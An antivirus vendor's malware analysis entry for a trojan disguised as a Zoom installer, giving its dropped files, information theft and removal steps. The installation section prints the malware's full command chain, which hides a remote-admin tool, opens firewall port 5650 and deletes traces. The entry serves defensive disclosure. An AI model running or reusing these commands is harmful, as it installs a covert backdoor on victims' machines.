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Trojan.Win32.ZAPIZ.THA

May 26, 2020
 Analysis by: Joshua Paul Ignacio
 Modified by: Joshua Paul Ignacio
 ALIASES:

N/A

 PLATFORM:

Windows

 OVERALL RISK RATING:
 DAMAGE POTENTIAL:
 DISTRIBUTION POTENTIAL:
 REPORTED INFECTION:
 INFORMATION EXPOSURE:

  • Threat Type: Trojan

  • Destructiveness: No

  • Encrypted: No

  • In the wild: Yes

  OVERVIEW

Infection Channel:

Dropped by other malware, Downloaded from the Internet


This Trojan arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

  TECHNICAL DETAILS

File Size:

16,156,300 bytes

File Type:

EXE

Memory Resident:

No

Initial Samples Received Date:

12 May 2020

Payload:

Drops files, Steals information

Arrival Details

This Trojan arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

Installation

This Trojan adds the following folders:

  • %User Temp%\$inst

(Note: %User Temp% is the current user's Temp folder, which is usually C:\Documents and Settings\{user name}\Local Settings\Temp on Windows 2000(32-bit), XP, and Server 2003(32-bit), or C:\Users\{user name}\AppData\Local\Temp on Windows Vista, 7, 8, 8.1, 2008(64-bit), 2012(64-bit) and 10(64-bit).)

It drops the following files:

  • %User Temp%\$inst\2.tmp
  • %User Temp%\$inst\temp_0.tmp - Deleted afterwards
  • %System%\drivers\install.exe - Detected as Trojan.Win32.ZAPIZ.THB
  • %System%\drivers\ssleay32.dll
  • %System%\drivers\libeay32.dll
  • %System%\drivers\svchîst.exe - Detected as HackTool.Win32.RADMIN.GL
  • %User Temp%\Zoom Meetings\5.0.1\setup.exe
  • %User Temp%\$inst\0001.tmp - Deleted afterwards
  • %User Temp%\Zoom Meetings\5.0.1\reg.exe
  • %System%\idfgvgjnghcdfb.reg

It adds the following processes:

  • "%System%\cmd.exe" /c if exist "%SYSTEMROOT%\System32\idfgvgjnghcdfb.reg" (goto& cd %SYSTEMROOT%\System32\drivers& attrib +h +s "svchîst.exe"& attrib -h -s "install.exe"& del /f /q "install.exe"& attrib -h -s "install.cmd"& del /f /q "install.cmd"& Exit) else taskkill /f /im rutserv.exe& taskkill /f /im rfusclient.exe& reg delete "HKLM\SYSTEM\Remote Manipulator System" /f& netsh firewall add portopening TCP 5650 "Open Port 5650"& netsh advfirewall firewall add rule name="Open Port 5650" dir=in action=allow protocol=TCP localport=5650& "%SYSTEMROOT%\System32\drivers\install.exe"& ping 127.0.0.1& "%SYSTEMROOT%\System32\drivers\svchîst.exe" /silentinstall&"%SYSTEMROOT%\System32\drivers\svchîst.exe" /firewall& "%SYSTEMROOT%\System32\drivers\svchîst.exe" /start& Echo Windows Registry Editor Version 5.00> %SYSTEMROOT%\System32\idfgvgjnghcdfb.reg& attrib +h +s "%SYSTEMROOT%\System32\idfgvgjnghcdfb.reg"& cd %SYSTEMROOT%\System32\drivers& attrib +h +s "svchîst.exe"& attrib -h -s "install.exe"& del /f /q "install.exe"& attrib -h -s "install.cmd"& del /f /q "install.cmd"& Exit
  • "%User Temp%\Zoom Meetings\5.0.1\setup.exe"
  • "%User Temp%\Zoom Meetings\5.0.1\reg.exe" shortcut "%Application Data%\Zoom\bin\Zoom.exe" "~$folder.desktop$" "Start Zoom"
  • "%System%\cmd.exe" /c attrib -h -s -r "%User Temp%\Zoom Meetings\5.0.1\*.*"
  • "%System%\cmd.exe" /c RMDIR /s/q "%User Temp%\Zoom Meetings"
  • "%System%\cmd.exe" /c reg delete "HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\Zoom Meetings 5.0.1" /f
  • "%System%\cmd.exe" /c reg delete "HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\installer 19.0.9700.2132" /f

(Note: %User Temp% is the current user's Temp folder, which is usually C:\Documents and Settings\{user name}\Local Settings\Temp on Windows 2000(32-bit), XP, and Server 2003(32-bit), or C:\Users\{user name}\AppData\Local\Temp on Windows Vista, 7, 8, 8.1, 2008(64-bit), 2012(64-bit) and 10(64-bit).. %Application Data% is the current user's Application Data folder, which is usually C:\Documents and Settings\{user name}\Application Data on Windows 2000(32-bit), XP, and Server 2003(32-bit), or C:\Users\{user name}\AppData\Roaming on Windows Vista, 7, 8, 8.1, 2008(64-bit), 2012(64-bit) and 10(64-bit).)

Information Theft

This Trojan gathers the following data:

  • Username
  • Computer Name

Other Details

This Trojan does the following:

  • Executes the following command to open the following port:
    • netsh advfirewall firewall add rule name="Open Port 5650" dir=in action=allow protocol=TCP localport=5650

  SOLUTION

Minimum Scan Engine:

9.850

FIRST VSAPI PATTERN FILE:

15.866.07

FIRST VSAPI PATTERN DATE:

07 May 2020

VSAPI OPR PATTERN File:

15.867.00

VSAPI OPR PATTERN Date:

08 May 2020

Step 1

Before doing any scans, Windows 7, Windows 8, Windows 8.1, and Windows 10 users must disable System Restore to allow full scanning of their computers.

Step 2

Note that not all files, folders, and registry keys and entries are installed on your computer during this malware's/spyware's/grayware's execution. This may be due to incomplete installation or other operating system conditions. If you do not find the same files/folders/registry information, please proceed to the next step.

Step 3

Search and delete these files

[ Learn More ]
There may be some component files that are hidden. Please make sure you check the Search Hidden Files and Folders checkbox in the More advanced options option to include all hidden files and folders in the search result.  
  • %User Temp%\$inst\2.tmp
  • %System%\drivers\install.exe
  • %System%\drivers\ssleay32.dll
  • %System%\drivers\libeay32.dll
  • %User Temp%\Zoom Meetings\5.0.1\setup.exe
  • %User Temp%\Zoom Meetings\5.0.1\reg.exe
  • %System%\idfgvgjnghcdfb.reg

Step 4

Search and delete this folder

[ Learn More ]
Please make sure you check the Search Hidden Files and Folders checkbox in the More advanced options option to include all hidden folders in the search result.
  • %User Temp%\$inst

Step 5

Scan your computer with your Trend Micro product to delete files detected as Trojan.Win32.ZAPIZ.THA. If the detected files have already been cleaned, deleted, or quarantined by your Trend Micro product, no further step is required. You may opt to simply delete the quarantined files. Please check the following Trend Micro Support pages for more information:


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